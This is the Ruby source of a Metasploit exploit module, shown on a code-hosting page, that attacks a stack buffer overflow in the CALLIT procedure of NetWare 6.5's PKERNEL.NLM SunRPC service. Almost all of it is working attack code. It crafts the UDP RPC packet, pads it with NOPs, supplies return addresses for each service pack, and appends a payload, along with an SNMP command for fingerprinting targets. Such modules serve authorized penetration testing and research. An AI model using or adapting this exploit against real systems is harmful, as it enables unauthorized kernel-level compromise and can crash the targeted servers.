Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/netware/sunrpc/pkernel_callit.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.15PKERNEL.NLM is installed by default on all NetWare servers to support NFS.16The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can17cause the operating system to reboot.18},19'Author' => [ 'pahtzo', ],20'License' => MSF_LICENSE,21'References' =>22[23# There is no CVE for this vulnerability24[ 'BID', '36564' ],25[ 'OSVDB', '58447' ],26[ 'ZDI', '09-067' ],27],28'Privileged' => true,29'Payload' =>30{31'Space' => 2020,32},33'Platform' => 'netware',34'Targets' =>35[36# NetWare SP and PKERNEL.NLM version can be found in SNMP:37# snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm"38# sysDescr.0 = STRING: Novell NetWare 5.70.08 October 3, 200839# hrSWRunName.1191394992 = STRING: "PKERNEL.NLM v15.01 (20081014)"40[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)41[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)42[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)43[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)44[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)45[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)46[ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)47],4849'DisclosureDate' => '2009-09-30'))5051register_options([Opt::RPORT(111)])52end5354def exploit55connect_udp5657buf = [rand(0xffffffff)].pack('N') # XID58buf << [0].pack('N') # Message Type: Call (0)59buf << [2].pack('N') # RPC Version: 260buf << [100000].pack('N') # Program: Portmap (100000)61buf << [2].pack('N') # Program Version: 262buf << [5].pack('N') # Procedure: CALLIT (5)63buf << [0].pack('N') # Credentials AUTH_NULL (0)64buf << [0].pack('N') # Length: 065buf << [0].pack('N') # Verifier AUTH_NULL (0)66buf << [0].pack('N') # Length: 067buf << [0].pack('N') # Program: Unknown (0)68buf << [1].pack('N') # Version: 169buf << [1].pack('N') # Procedure: proc-1 (1)70buf << [4097].pack('N') # Arguments: <DATA> length: 40977172buf << make_nops(2072) # fill to ret73buf << [target.ret].pack('V') # addr. of push esp - ret74buf << payload.encoded #7576# print_status("payload space #{payload_space()}...")77# print_status("payload len #{payload.encoded.length}...")78# print_status("total buf len #{buf.length}...")7980print_status("Trying target #{target.name}...")8182udp_sock.put(buf)83handler84disconnect_udp85end86end878889